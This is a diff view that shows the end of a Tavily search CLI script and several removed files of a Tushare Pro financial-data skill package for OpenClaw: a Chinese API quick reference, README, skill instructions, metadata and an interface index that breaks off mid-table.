p_map.add_argument("--max-depth", type=int, default=None, help="Max depth (default: 2)")
p_map.add_argument("--max-breadth", type=int, default=None,
help="Max breadth per level (default: 20)")
p_map.add_argument("--limit", type=int, default=None, help="Max URLs (default: 50)")
p_map.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
# research
p_research = subparsers.add_parser("research", help="Deep AI research")
p_research.add_argument("query", help="Research question")
p_research.add_argument("--model", choices=["mini", "pro", "auto"], default=None,
help="Research model (default: auto)")
p_research.add_argument("--json", action="store_true", dest="as_json", help="JSON output")
return parser
def main() -> None:
"""CLI entry point."""
parser = build_parser()
args = parser.parse_args()
if not args.command:
parser.print_help()
sys.exit(1)
if not API_KEY:
print("Error: TAVILY_API_KEY environment variable not set.", file=sys.stderr)
print("Set it in OpenClaw config or export TAVILY_API_KEY=your_key", file=sys.stderr)
sys.exit(1)
try:
if args.command in ("search", "news", "finance"):
result = cmd_search(args)
elif args.command == "extract":
result = cmd_extract(args)
elif args.command == "crawl":
result = cmd_crawl(args)
elif args.command == "map":
result = cmd_map(args)
elif args.command == "research":
result = cmd_research(args)
else:
parser.print_help()
sys.exit(1)
print(result)
except SystemExit:
raise
except Exception as e:
print(f"Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

View file

@ -1,228 +0,0 @@
# Tushare API 快速参考
本文档提供最常用的 Tushare API 接口和代码示例。
**作者**: [StanleyChanH](https://github.com/StanleyChanH)
## 股票数据
### 获取股票列表
```python
import tushare as ts
pro = ts.pro_api()
# 获取所有正常上市的股票
df = pro.stock_basic(list_status='L')
# 筛选特定交易所
df_sz = pro.stock_basic(exchange='SZSE') # 深交所
df_sh = pro.stock_basic(exchange='SSE') # 上交所
```
### 获取日线行情
```python
# 单只股票
df = pro.daily(ts_code='000001.SZ', start_date='20241201', end_date='20241231')
# 多只股票
df = pro.daily(ts_code='000001.SZ,600000.SH', start_date='20241201', end_date='20241231')
# 某日所有股票
df = pro.daily(trade_date='20241231')
```
### 获取财务数据
```python
# 利润表
df = pro.income(ts_code='600000.SH', start_date='20240101', end_date='20241231')
# 资产负债表
df = pro.balancesheet(ts_code='600000.SH', start_date='20240101', end_date='20241231')
# 现金流量表
df = pro.cashflow(ts_code='600000.SH', start_date='20240101', end_date='20241231')
# 财务指标
df = pro.fina_indicator(ts_code='600000.SH', start_date='20240101', end_date='20241231')
```
## 指数数据
### 获取指数列表
```python
df = pro.index_basic(market='SSE') # 上交所指数
df = pro.index_basic(market='SZSE') # 深交所指数
```
### 获取指数行情
```python
# 上证指数
df = pro.index_daily(ts_code='000001.SH', start_date='20241201', end_date='20241231')
# 深证成指
df = pro.index_daily(ts_code='399001.SZ', start_date='20241201', end_date='20241231')
```
## 基金数据
### 获取基金列表
```python
df = pro.fund_basic(market='E') # 场内基金
df = pro.fund_basic(market='O') # 场外基金
```
### 获取基金净值
```python
df = pro.fund_nav(ts_code='000001.OF', start_date='20241201', end_date='20241231')
```
## 宏观经济
### GDP 数据
```python
df = pro.gdp(start_q='2020011', end_q='2024044')
```
### CPI 数据
```python
df = pro.cpi(start_date='20240101', end_date='20241231')
```
### PMI 数据
```python
df = pro.pmi(start_date='20240101', end_date='20241231')
```
### 利率数据
```python
# Shibor
df = pro.shibor(start_date='20241201', end_date='20241231')
# LPR
df = pro.lpr(start_date='20241201', end_date='20241231')
```
## 港股美股
### 港股数据
```python
# 港股列表
df = pro.hk_basic()
# 港股行情
df = pro.hk_daily(ts_code='00700.HK', start_date='20241201', end_date='20241231')
```
### 美股数据
```python
# 美股列表
df = pro.us_basic()
# 美股行情
df = pro.us_daily(ts_code='AAPL', start_date='20241201', end_date='20241231')
```
## 常见查询模式
### 按日期范围查询
```python
df = pro.daily(
ts_code='000001.SZ',
start_date='20240101', # YYYYMMDD
end_date='20241231'
)
```
### 按交易日查询
```python
df = pro.daily(trade_date='20241231')
```
### 获取最新数据
```python
# 先获取最近的交易日
import datetime
today = datetime.datetime.now().strftime('%Y%m%d')
df = pro.daily(trade_date=today)
```
## 数据处理技巧
### 数据清洗
```python
# 去除停牌数据
df = df[df['vol'] > 0]
# 排序
df = df.sort_values('trade_date')
# 重置索引
df = df.reset_index(drop=True)
```
### 数据保存
```python
# 保存到 CSV
df.to_csv('data.csv', index=False)
# 保存到 Excel
df.to_excel('data.xlsx', index=False)
```
## 错误处理
```python
import tushare as ts
try:
pro = ts.pro_api('your_token')
df = pro.daily(ts_code='000001.SZ', start_date='20241201', end_date='20241231')
print(df.head())
except ts.errors.TushareException as e:
print(f"Tushare API 错误: {e}")
except Exception as e:
print(f"错误: {e}")
```
## 性能优化
### 批量获取
```python
# 一次获取多只股票
stock_codes = ['000001.SZ', '600000.SH', '000002.SZ']
df = pro.daily(ts_code=','.join(stock_codes), start_date='20241201', end_date='20241231')
```
### 控制请求频率
```python
import time
for stock in stock_codes:
df = pro.daily(ts_code=stock, start_date='20241201', end_date='20241231')
time.sleep(0.3) # 避免超限
```
## 常用字段说明
### 日线行情字段
- `trade_date`: 交易日期
- `ts_code`: 股票代码
- `open`: 开盘价
- `high`: 最高价
- `low`: 最低价
- `close`: 收盘价
- `vol`: 成交量(手)
- `amount`: 成交额(千元)
### 财务指标字段
- `end_date`: 报告期
- `roe`: 净资产收益率
- `net_profit_margin`: 销售净利率
- `gross_margin`: 销售毛利率
- `debt_to_assets`: 资产负债率
## 更多接口
完整接口列表和详细说明请查看:
- [接口文档索引](docs/README.md)
- [Tushare 官方文档](https://tushare.pro/document/2)

View file

@ -1,336 +0,0 @@
# Tushare Finance Skill
[![Version](https://img.shields.io/badge/version-2.0.6-blue.svg)](https://github.com/StanleyChanH/Tushare-Finance-Skill-for-Claude-Code)
[![License](https://img.shields.io/badge/license-Apache--2.0-green.svg)](LICENSE)
[![ClawHub](https://img.shields.io/badge/ClawHub-Available-purple.svg)](https://clawhub.com)
获取中国金融市场数据的 OpenClaw Skill,支持 **220+ 个 Tushare Pro 接口**。
## ✨ 特性
- 🚀 **开箱即用** - 一键安装,无需复杂配置
- 📊 **全面覆盖** - A股、港股、美股、基金、期货、债券
- 🔧 **多种方式** - Python API、命令行工具、批量导出
- 📈 **实时数据** - 支持股票行情、财务报表、宏观经济
- 🔄 **OpenClaw 集成** - 无缝集成到自动化工作流
- 📖 **完整文档** - 220+ 接口完整索引和使用示例
## 📥 安装
### 方法 1:通过 ClawHub(推荐)
```bash
clawhub install tushare-finance
```
### 方法 2:手动安装
```bash
git clone https://github.com/StanleyChanH/Tushare-Finance-Skill-for-Claude-Code.git
cd Tushare-Finance-Skill-for-Claude-Code
pip install -r requirements.txt
```
## 🔑 配置
### 获取 Tushare Token
1. 访问 [Tushare Pro](https://tushare.pro) 注册账号
2. 在个人中心获取 Token
3. 配置环境变量:
```bash
export TUSHARE_TOKEN="your_token_here"
# 或添加到 ~/.bashrc
echo 'export TUSHARE_TOKEN="your_token_here"' >> ~/.bashrc
source ~/.bashrc
```
## 🚀 快速开始
### Python API
```python
from scripts.api_client import TushareAPI
# 初始化客户端
api = TushareAPI()
# 查询股票日线行情
df = api.get_stock_daily("000001.SZ", "2024-01-01", "2024-12-31")
print(df.head())
# 查询公司基本信息
info = api.get_stock_info("000001.SZ")
print(info)
# 批量查询多只股票
stocks = ["000001.SZ", "000002.SZ", "600000.SH"]
data = api.batch_query(stocks, "2024-01-01", "2024-12-31")
```
### 命令行工具
```bash
# 查询单只股票
python scripts/quick_query.py --stock 000001.SZ --start 2024-01-01 --end 2024-12-31
# 批量查询
python scripts/quick_query.py --file stocks.txt --start 2024-01-01 --output result.csv
# 导出 Excel
python scripts/batch_export.py --stock 000001.SZ --start 2024-01-01 --end 2024-12-31 --format excel
```
## 📊 支持的数据类型
### 股票数据(39 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `daily` | 日线行情 | `api.get_stock_daily()` |
| `stock_basic` | 股票列表 | `api.get_stock_list()` |
| `fina_indicator` | 财务指标 | `api.get_financial_indicator()` |
| `income` | 利润表 | `api.get_income_statement()` |
| `balancesheet` | 资产负债表 | `api.get_balance_sheet()` |
### 指数数据(18 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `index_daily` | 指数日线 | `api.get_index_daily()` |
| `index_weight` | 指数成分 | `api.get_index_weight()` |
| `index_basic` | 指数列表 | `api.get_index_list()` |
### 基金数据(11 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `fund_nav` | 基金净值 | `api.get_fund_nav()` |
| `fund_basic` | 基金列表 | `api.get_fund_list()` |
### 期货数据(16 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `futures_daily` | 期货日线 | `api.get_futures_daily()` |
### 宏观数据(10 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `gdp` | GDP数据 | `api.get_gdp()` |
| `cpi` | CPI数据 | `api.get_cpi()` |
| `pmi` | PMI数据 | `api.get_pmi()` |
### 港股美股(23 个接口)
| 接口 | 说明 | 示例 |
|------|------|------|
| `hk_daily` | 港股日线 | `api.get_hk_daily()` |
| `us_daily` | 美股日线 | `api.get_us_daily()` |
**完整接口列表**:查看 [接口文档索引](reference/README.md)
## 📖 API 文档
### TushareAPI 类
#### `__init__(token=None)`
初始化 API 客户端
**参数**:
- `token` (str, optional): Tushare Token,默认从环境变量读取
#### `get_stock_daily(ts_code, start_date, end_date)`
查询股票日线行情
**参数**:
- `ts_code` (str): 股票代码(如 "000001.SZ")
- `start_date` (str): 开始日期(如 "2024-01-01")
- `end_date` (str): 结束日期(如 "2024-12-31")
**返回**:
- `pd.DataFrame`: 日线数据
**示例**:
```python
df = api.get_stock_daily("000001.SZ", "2024-01-01", "2024-12-31")
```
#### `batch_query(ts_codes, start_date, end_date)`
批量查询多只股票
**参数**:
- `ts_codes` (list): 股票代码列表
- `start_date` (str): 开始日期
- `end_date` (str): 结束日期
**返回**:
- `dict`: {股票代码: DataFrame}
**示例**:
```python
stocks = ["000001.SZ", "000002.SZ", "600000.SH"]
data = api.batch_query(stocks, "2024-01-01", "2024-12-31")
```
**更多 API 请参考**:[docs/api_reference.md](docs/api_reference.md)
## 🔧 使用示例
### 示例 1:股票数据分析
```python
from scripts.api_client import TushareAPI
api = TushareAPI()
# 查询股票数据
df = api.get_stock_daily("000001.SZ", "2024-01-01", "2024-12-31")
# 计算收益率
df['return'] = df['close'].pct_change()
df['cum_return'] = (1 + df['return']).cumprod()
print(df[['trade_date', 'close', 'return', 'cum_return']].tail())
```
### 示例 2:批量导出
```python
from scripts.api_client import TushareAPI
api = TushareAPI()
# 批量查询沪深300成分
stocks = api.get_index_weight("000300.SH", "2024-12-31")
stock_codes = stocks['con_code'].tolist()
# 批量获取数据
for code in stock_codes[:10]: # 前10只
df = api.get_stock_daily(code, "2024-01-01", "2024-12-31")
df.to_csv(f"./data/{code}.csv", index=False)
```
### 示例 3:财务分析
```python
# 查询财务指标
fina = api.get_financial_indicator("000001.SZ", "2024-01-01", "2024-12-31")
# 筛选关键指标
key_metrics = ['roe', 'roa', 'debt_to_assets', 'current_ratio']
print(fina[['ts_code', 'end_date'] + key_metrics].head())
```
**更多示例**:[docs/examples.md](docs/examples.md)
## ⚙️ 配置选项
### 环境变量
```bash
# Tushare Token(必需)
export TUSHARE_TOKEN="your_token_here"
# 数据缓存(可选)
export TUSHARE_CACHE_DIR="~/.tushare_cache"
# 日志级别(可选)
export TUSHARE_LOG_LEVEL="INFO"
```
### 配置文件
编辑 `config/config.yaml`:
```yaml
api:
# Token(优先级低于环境变量)
token: "your_token_here"
# 请求超时(秒)
timeout: 30
# 重试次数
retry: 3
cache:
# 是否启用缓存
enabled: true
# 缓存目录
dir: ~/.tushare_cache
# 缓存有效期(秒)
ttl: 3600
logging:
# 日志级别
level: INFO
# 日志文件
file: logs/tushare.log
```
## 🧪 测试
```bash
# 运行所有测试
python -m pytest tests/
# 运行特定测试
python -m pytest tests/test_api.py
# 查看测试覆盖率
python -m pytest --cov=scripts tests/
```
## 🤝 贡献
欢迎贡献代码、报告问题或提出建议!
### 开发环境
```bash
git clone https://github.com/StanleyChanH/Tushare-Finance-Skill-for-Claude-Code.git
cd Tushare-Finance-Skill-for-Claude-Code
pip install -r requirements.txt
pip install -r requirements-dev.txt
python -m pytest tests/
```
## 📄 许可证
Apache License 2.0
## 🙏 致谢
- [Tushare Pro](https://tushare.pro) - 提供高质量金融数据 API
- [OpenClaw](https://github.com/openclaw/openclaw) - OpenClaw 框架
## 📚 相关资源
- **GitHub**:https://github.com/StanleyChanH/Tushare-Finance-Skill-for-Claude-Code
- **ClawHub**:https://clawhub.com/skill/tushare-finance
- **Tushare 文档**:https://tushare.pro/document/2
- **OpenClaw 文档**:https://docs.openclaw.ai
## 📊 更新日志
### v2.0.0 (2026-02-14)
- ✨ 添加完整的 Python API 客户端
- ✨ 添加命令行工具
- ✨ 添加批量导出功能
- 📖 完善 API 文档和使用示例
- 🧪 添加自动化测试
- 🔄 配置 GitHub Actions 自动发布
### v1.0.0 (2026-01-10)
- 🎉 初始版本发布
- 📊 支持 220+ Tushare Pro 接口

View file

@ -1,89 +0,0 @@
---
name: tushare-finance
description: 获取中国金融市场数据(A股、港股、美股、基金、期货、债券)。支持220+个Tushare Pro接口:股票行情、财务报表、宏观经济指标。当用户请求股价数据、财务分析、指数行情、GDP/CPI等宏观数据时使用。
allowed-tools:
- Bash(python:*)
- Read
---
# Tushare 金融数据 Skill
本 skill 通过 Tushare Pro API 获取中国金融市场数据,支持 220+ 个数据接口。
## 快速开始
### 1. Token 配置
**询问用户**:是否已配置 Tushare Token?
如未配置,引导用户:
1. 访问 https://tushare.pro 注册
2. 获取 Token
3. 配置环境变量:`export TUSHARE_TOKEN="your_token"`
### 2. 验证依赖
检查 Python 环境:
```bash
python -c "import tushare, pandas; print('OK')"
```
如报错,安装依赖:
```bash
pip install tushare pandas
```
## 常用接口速查
| 数据类型 | 接口方法 | 说明 |
|---------|---------|------|
| 股票列表 | `pro.stock_basic()` | 获取所有股票列表 |
| 日线行情 | `pro.daily()` | 获取日线行情数据 |
| 财务指标 | `pro.fina_indicator()` | 财务指标(ROE等) |
| 利润表 | `pro.income()` | 利润表数据 |
| 指数行情 | `pro.index_daily()` | 指数日线数据 |
| 基金净值 | `pro.fund_nav()` | 基金净值数据 |
| GDP数据 | `pro.gdp()` | 国内生产总值 |
| CPI数据 | `pro.cpi()` | 居民消费价格指数 |
**完整接口列表**:查看 [接口文档索引](reference/README.md)
## 数据获取流程
1. **查找接口**:根据需求在 [接口索引](reference/README.md) 找到对应接口
2. **阅读文档**:查看 `reference/接口文档/[接口名].md` 了解参数
3. **编写代码**:
```python
import tushare as ts
# 初始化(使用环境变量中的 Token)
pro = ts.pro_api()
# 调用接口
df = pro.daily(ts_code='000001.SZ', start_date='20241201', end_date='20241231')
```
4. **返回结果**:DataFrame 格式
## 参数格式说明
- **日期**:YYYYMMDD(如 20241231)
- **股票代码**:ts_code 格式(如 000001.SZ, 600000.SH)
- **返回格式**:pandas DataFrame
## 接口文档参考
**接口索引**:[reference/README.md](reference/README.md)
接口文档按类别组织:
- 股票数据(39 个接口)
- 指数数据(18 个接口)
- 基金数据(11 个接口)
- 期货期权(16 个接口)
- 宏观经济(10 个接口)
- 港股美股(23 个接口)
- 债券数据(16 个接口)
## 参考资源
- **Tushare 官方文档**:https://tushare.pro/document/2
- **API 测试工具**:https://tushare.pro/document/1

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn7fnx0e4a5kyh3xpffp43fjh5810w1s",
"slug": "tushare-finance",
"version": "2.0.6",
"publishedAt": 1771038127506
}

View file

@ -1,19 +0,0 @@
{
"name": "tushare-finance",
"version": "2.0.6",
"description": "获取中国金融市场数据(A股、港股、美股、基金、期货、债券)。支持220+个Tushare Pro接口:股票行情、财务报表、宏观经济指标。提供Python API客户端、命令行工具和批量导出功能。",
"author": "StanleyChanH",
"tags": ["金融数据", "A股", "港股", "美股", "量化", "股票", "基金", "期货", "Tushare", "财务数据", "宏观经济"],
"repository": "https://github.com/StanleyChanH/Tushare-Finance-Skill-for-Claude-Code",
"license": "Apache-2.0",
"dependencies": {
"python": ">=3.8",
"packages": ["tushare>=1.3.0", "pandas>=2.0.0", "openpyxl>=3.1.0"]
},
"openclaw": {
"requires": {
"bins": ["python3"],
"env": ["TUSHARE_TOKEN"]
}
}
}

View file

@ -1,360 +0,0 @@
# Tushare API 接口文档索引
本文档由自动化脚本从[Tushare官方文档系统](https://tushare.pro/document/2)提取。
## 文档说明
- **总计**: 共提取 **220** 个接口文档
- **格式**: 所有文档均为Markdown格式
- **位置**: `skills/tushare-finance/reference/`
- **更新**: 自动化提取,保持与官方文档同步
- **作者**: [StanleyChanH](https://github.com/StanleyChanH)
## ETF专题
**数量**: 7 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | ETF份额规模 | 408 | [接口文档/ETF份额规模.md](接口文档/ETF份额规模.md) |
| 2 | ETF分钟行情 | 387 | [接口文档/ETF分钟行情.md](接口文档/ETF分钟行情.md) |
| 3 | ETF基准指数 | 386 | [接口文档/ETF基准指数.md](接口文档/ETF基准指数.md) |
| 4 | ETF基本信息 | 385 | [接口文档/ETF基本信息.md](接口文档/ETF基本信息.md) |
| 5 | ETF复权因子 | 199 | [接口文档/ETF复权因子.md](接口文档/ETF复权因子.md) |
| 6 | ETF实时日线 | 400 | [接口文档/ETF实时日线.md](接口文档/ETF实时日线.md) |
| 7 | ETF日线行情 | 127 | [接口文档/ETF日线行情.md](接口文档/ETF日线行情.md) |
## 债券专题
**数量**: 16 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 可转债发行 | 186 | [接口文档/可转债发行.md](接口文档/可转债发行.md) |
| 2 | 可转债基础信息 | 185 | [接口文档/可转债基础信息.md](接口文档/可转债基础信息.md) |
| 3 | 可转债技术面因子(专业版) | 392 | [接口文档/可转债技术面因子(专业版).md](接口文档/可转债技术面因子(专业版).md) |
| 4 | 可转债票面利率 | 305 | [接口文档/可转债票面利率.md](接口文档/可转债票面利率.md) |
| 5 | 可转债行情 | 187 | [接口文档/可转债行情.md](接口文档/可转债行情.md) |
| 6 | 可转债赎回信息 | 269 | [接口文档/可转债赎回信息.md](接口文档/可转债赎回信息.md) |
| 7 | 可转债转股价变动 | 246 | [接口文档/可转债转股价变动.md](接口文档/可转债转股价变动.md) |
| 8 | 可转债转股结果 | 247 | [接口文档/可转债转股结果.md](接口文档/可转债转股结果.md) |
| 9 | 国债实际收益率曲线利率 | 220 | [接口文档/国债实际收益率曲线利率.md](接口文档/国债实际收益率曲线利率.md) |
| 10 | 国债收益率曲线 | 201 | [接口文档/国债收益率曲线.md](接口文档/国债收益率曲线.md) |
| 11 | 国债收益率曲线利率 | 219 | [接口文档/国债收益率曲线利率.md](接口文档/国债收益率曲线利率.md) |
| 12 | 国债长期利率 | 222 | [接口文档/国债长期利率.md](接口文档/国债长期利率.md) |
| 13 | 国债长期利率平均值 | 223 | [接口文档/国债长期利率平均值.md](接口文档/国债长期利率平均值.md) |
| 14 | 柜台流通式债券报价 | 322 | [接口文档/柜台流通式债券报价.md](接口文档/柜台流通式债券报价.md) |
| 15 | 柜台流通式债券最优报价 | 323 | [接口文档/柜台流通式债券最优报价.md](接口文档/柜台流通式债券最优报价.md) |
| 16 | 短期国债利率 | 221 | [接口文档/短期国债利率.md](接口文档/短期国债利率.md) |
## 公募基金
**数量**: 11 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 各渠道公募基金销售保有规模占比 | 265 | [接口文档/各渠道公募基金销售保有规模占比.md](接口文档/各渠道公募基金销售保有规模占比.md) |
| 2 | 基金净值 | 119 | [接口文档/基金净值.md](接口文档/基金净值.md) |
| 3 | 基金分红 | 120 | [接口文档/基金分红.md](接口文档/基金分红.md) |
| 4 | 基金列表 | 19 | [接口文档/基金列表.md](接口文档/基金列表.md) |
| 5 | 基金技术面因子(专业版) | 359 | [接口文档/基金技术面因子(专业版).md](接口文档/基金技术面因子(专业版).md) |
| 6 | 基金持仓 | 121 | [接口文档/基金持仓.md](接口文档/基金持仓.md) |
| 7 | 基金管理人 | 118 | [接口文档/基金管理人.md](接口文档/基金管理人.md) |
| 8 | 基金经理 | 208 | [接口文档/基金经理.md](接口文档/基金经理.md) |
| 9 | 基金规模 | 207 | [接口文档/基金规模.md](接口文档/基金规模.md) |
| 10 | 基金销售行业数据 | 264 | [接口文档/基金销售行业数据.md](接口文档/基金销售行业数据.md) |
| 11 | 销售机构公募基金销售保有规模 | 266 | [接口文档/销售机构公募基金销售保有规模.md](接口文档/销售机构公募基金销售保有规模.md) |
## 其他
**数量**: 67 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 上市公司基本信息 | 112 | [接口文档/上市公司基本信息.md](接口文档/上市公司基本信息.md) |
| 2 | 上市公司管理层 | 193 | [接口文档/上市公司管理层.md](接口文档/上市公司管理层.md) |
| 3 | 业绩快报 | 46 | [接口文档/业绩快报.md](接口文档/业绩快报.md) |
| 4 | 业绩预告 | 45 | [接口文档/业绩预告.md](接口文档/业绩预告.md) |
| 5 | 东方财富App热榜 | 321 | [接口文档/东方财富App热榜.md](接口文档/东方财富App热榜.md) |
| 6 | 东方财富概念成分 | 363 | [接口文档/东方财富概念成分.md](接口文档/东方财富概念成分.md) |
| 7 | 东方财富概念板块 | 362 | [接口文档/东方财富概念板块.md](接口文档/东方财富概念板块.md) |
| 8 | 中央结算系统持股明细 | 274 | [接口文档/中央结算系统持股明细.md](接口文档/中央结算系统持股明细.md) |
| 9 | 中央结算系统持股统计 | 295 | [接口文档/中央结算系统持股统计.md](接口文档/中央结算系统持股统计.md) |
| 10 | 主营业务构成 | 81 | [接口文档/主营业务构成.md](接口文档/主营业务构成.md) |
| 11 | 交易日历 | 26 | [接口文档/交易日历.md](接口文档/交易日历.md) |
| 12 | 交易日历 | 137 | [接口文档/交易日历.md](接口文档/交易日历.md) |
| 13 | 做市借券交易汇总(停) | 334 | [接口文档/做市借券交易汇总(停).md](接口文档/做市借券交易汇总(停).md) |
| 14 | 全球财经事件 | 233 | [接口文档/全球财经事件.md](接口文档/全球财经事件.md) |
| 15 | 分红送股数据 | 103 | [接口文档/分红送股数据.md](接口文档/分红送股数据.md) |
| 16 | 利润表 | 33 | [接口文档/利润表.md](接口文档/利润表.md) |
| 17 | 券商盈利预测数据 | 292 | [接口文档/券商盈利预测数据.md](接口文档/券商盈利预测数据.md) |
| 18 | 北交所新旧代码对照 | 375 | [接口文档/北交所新旧代码对照.md](接口文档/北交所新旧代码对照.md) |
| 19 | 历史Tick行情 | 314 | [接口文档/历史Tick行情.md](接口文档/历史Tick行情.md) |
| 20 | 历史分钟 | 370 | [接口文档/历史分钟.md](接口文档/历史分钟.md) |
| 21 | 历史分钟行情 | 313 | [接口文档/历史分钟行情.md](接口文档/历史分钟行情.md) |
| 22 | 历史日线 | 27 | [接口文档/历史日线.md](接口文档/历史日线.md) |
| 23 | 合约信息 | 135 | [接口文档/合约信息.md](接口文档/合约信息.md) |
| 24 | 同花顺App热榜数 | 320 | [接口文档/同花顺App热榜数.md](接口文档/同花顺App热榜数.md) |
| 25 | 同花顺涨跌停榜单 | 355 | [接口文档/同花顺涨跌停榜单.md](接口文档/同花顺涨跌停榜单.md) |
| 26 | 同花顺行业概念成分 | 261 | [接口文档/同花顺行业概念成分.md](接口文档/同花顺行业概念成分.md) |
| 27 | 同花顺行业概念板块 | 259 | [接口文档/同花顺行业概念板块.md](接口文档/同花顺行业概念板块.md) |
| 28 | 周/月线复权行情(每日更新) | 365 | [接口文档/周_月线复权行情(每日更新).md](接口文档/周_月线复权行情(每日更新).md) |
| 29 | 周/月线行情(每日更新) | 336 | [接口文档/周_月线行情(每日更新).md](接口文档/周_月线行情(每日更新).md) |
| 30 | 周线行情 | 144 | [接口文档/周线行情.md](接口文档/周线行情.md) |
| 31 | 备用行情 | 255 | [接口文档/备用行情.md](接口文档/备用行情.md) |
| 32 | 复权因子 | 28 | [接口文档/复权因子.md](接口文档/复权因子.md) |
| 33 | 复权行情 | 146 | [接口文档/复权行情.md](接口文档/复权行情.md) |
| 34 | 实时Tick(爬虫) | 315 | [接口文档/实时Tick(爬虫).md](接口文档/实时Tick(爬虫).md) |
| 35 | 实时分钟 | 374 | [接口文档/实时分钟.md](接口文档/实时分钟.md) |
| 36 | 实时分钟行情 | 340 | [接口文档/实时分钟行情.md](接口文档/实时分钟行情.md) |
| 37 | 实时成交(爬虫) | 316 | [接口文档/实时成交(爬虫).md](接口文档/实时成交(爬虫).md) |
| 38 | 实时排名(爬虫) | 317 | [接口文档/实时排名(爬虫).md](接口文档/实时排名(爬虫).md) |
| 39 | 实时日线 | 372 | [接口文档/实时日线.md](接口文档/实时日线.md) |
| 40 | 市场游资最全名录 | 311 | [接口文档/市场游资最全名录.md](接口文档/市场游资最全名录.md) |
| 41 | 开盘竞价成交(当日) | 369 | [接口文档/开盘竞价成交(当日).md](接口文档/开盘竞价成交(当日).md) |
| 42 | 日线行情 | 138 | [接口文档/日线行情.md](接口文档/日线行情.md) |
| 43 | 月线行情 | 145 | [接口文档/月线行情.md](接口文档/月线行情.md) |
| 44 | 榜单数据(开盘啦) | 347 | [接口文档/榜单数据(开盘啦).md](接口文档/榜单数据(开盘啦).md) |
| 45 | 每日停复牌信息 | 214 | [接口文档/每日停复牌信息.md](接口文档/每日停复牌信息.md) |
| 46 | 每日指标 | 32 | [接口文档/每日指标.md](接口文档/每日指标.md) |
| 47 | 每日涨跌停价格 | 183 | [接口文档/每日涨跌停价格.md](接口文档/每日涨跌停价格.md) |
| 48 | 每日结算参数 | 141 | [接口文档/每日结算参数.md](接口文档/每日结算参数.md) |
| 49 | 每日股本(盘前) | 329 | [接口文档/每日股本(盘前).md](接口文档/每日股本(盘前).md) |
| 50 | 沪深市场每日交易统计 | 215 | [接口文档/沪深市场每日交易统计.md](接口文档/沪深市场每日交易统计.md) |
| 51 | 沪深股通十大成交股 | 48 | [接口文档/沪深股通十大成交股.md](接口文档/沪深股通十大成交股.md) |
| 52 | 沪深股通持股明细 | 188 | [接口文档/沪深股通持股明细.md](接口文档/沪深股通持股明细.md) |
| 53 | 涨停最强板块统计 | 357 | [接口文档/涨停最强板块统计.md](接口文档/涨停最强板块统计.md) |
| 54 | 涨跌停和炸板数据 | 298 | [接口文档/涨跌停和炸板数据.md](接口文档/涨跌停和炸板数据.md) |
| 55 | 深圳市场每日交易情况 | 268 | [接口文档/深圳市场每日交易情况.md](接口文档/深圳市场每日交易情况.md) |
| 56 | 游资交易每日明细 | 312 | [接口文档/游资交易每日明细.md](接口文档/游资交易每日明细.md) |
| 57 | 现金流量表 | 44 | [接口文档/现金流量表.md](接口文档/现金流量表.md) |
| 58 | 管理层薪酬和持股 | 194 | [接口文档/管理层薪酬和持股.md](接口文档/管理层薪酬和持股.md) |
| 59 | 财务审计意见 | 80 | [接口文档/财务审计意见.md](接口文档/财务审计意见.md) |
| 60 | 财务指标数据 | 79 | [接口文档/财务指标数据.md](接口文档/财务指标数据.md) |
| 61 | 财报披露日期表 | 162 | [接口文档/财报披露日期表.md](接口文档/财报披露日期表.md) |
| 62 | 资产负债表 | 36 | [接口文档/资产负债表.md](接口文档/资产负债表.md) |
| 63 | 通用行情接口 | 109 | [接口文档/通用行情接口.md](接口文档/通用行情接口.md) |
| 64 | 通达信板块信息 | 376 | [接口文档/通达信板块信息.md](接口文档/通达信板块信息.md) |
| 65 | 通达信板块成分 | 377 | [接口文档/通达信板块成分.md](接口文档/通达信板块成分.md) |
| 66 | 通达信板块行情 | 378 | [接口文档/通达信板块行情.md](接口文档/通达信板块行情.md) |
| 67 | 题材成分(开盘啦) | 351 | [接口文档/题材成分(开盘啦).md](接口文档/题材成分(开盘啦).md) |
| 68 | 题材数据(开盘啦) | 350 | [接口文档/题材数据(开盘啦).md](接口文档/题材数据(开盘啦).md) |
## 外汇数据
**数量**: 2 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 外汇基础信息(海外) | 178 | [接口文档/外汇基础信息(海外).md](接口文档/外汇基础信息(海外).md) |
| 2 | 外汇日线行情 | 179 | [接口文档/外汇日线行情.md](接口文档/外汇日线行情.md) |
## 大模型语料
**数量**: 7 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | 上市公司公告 | 176 | [接口文档/上市公司公告.md](接口文档/上市公司公告.md) |
| 2 | 上证e互动问答 | 366 | [接口文档/上证e互动问答.md](接口文档/上证e互动问答.md) |
| 3 | 国家政策库 | 406 | [接口文档/国家政策库.md](接口文档/国家政策库.md) |
| 4 | 新闻快讯(短讯) | 143 | [接口文档/新闻快讯(短讯).md](接口文档/新闻快讯(短讯).md) |
| 5 | 新闻联播文字稿 | 154 | [接口文档/新闻联播文字稿.md](接口文档/新闻联播文字稿.md) |
| 6 | 新闻通讯(长篇) | 195 | [接口文档/新闻通讯(长篇).md](接口文档/新闻通讯(长篇).md) |
| 7 | 深证易互动问答 | 367 | [接口文档/深证易互动问答.md](接口文档/深证易互动问答.md) |
## 宏观经济
**数量**: 10 个接口
| 序号 | 接口名称 | 文档ID | 文档路径 |
|------|---------|--------|----------|
| 1 | Hibor利率 | 153 | [接口文档/Hibor利率.md](接口文档/Hibor利率.md) |
| 2 | LPR贷款基础利率 | 151 | [接口文档/LPR贷款基础利率.md](接口文档/LPR贷款基础利率.md) |
| 3 | Libor利率 | 152 | [接口文档/Libor利率.md](接口文档/Libor利率.md) |
| 4 | Shibor利率 | 149 | [接口文档/Shibor利率.md](接口文档/Shibor利率.md) |
